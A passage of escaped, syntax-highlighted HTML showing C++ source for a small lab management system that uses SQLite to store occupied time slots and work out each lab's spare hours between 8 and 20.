class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Opened database successfully.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::~\u003c/span\u003e\u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_close_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eexec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t execute this sql line: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;... with the following error: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;, \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"n\"\u003eget_spare\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTimeInformation\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estring\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;select * from Spare_Time\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_stmt\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_prepare_v2\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ec_str\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"n\"\u003esql\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estringstream\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t prepare statement: \u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003esqlite3_errmsg\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_step\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_ROW\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esqlite3_column_int\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estmt\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Too crap to write, because my math is taught by Cirno:-P\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eoccupied\u003c/span\u003e\u003cspan class=\"p\"\u003e){\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e9\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eend\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eend\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003epush_back\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"n\"\u003estart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e20\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ei\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eauto\u003c/span\u003e \u003cspan class=\"nl\"\u003ej\u003c/span\u003e \u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esecond\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34; \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Rest of the Lab are all avaliable from 8 to 20.\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003etoReturn\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Entry formula.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eargc\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"o\"\u003e**\u003c/span\u003e \u003cspan class=\"n\"\u003eargv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecout\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Lab manage system initialing...\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"n\"\u003eendl\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e \u003cspan class=\"n\"\u003edb\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eDatabase\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edb\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003erc\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"n\"\u003eSQLITE_OK\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e 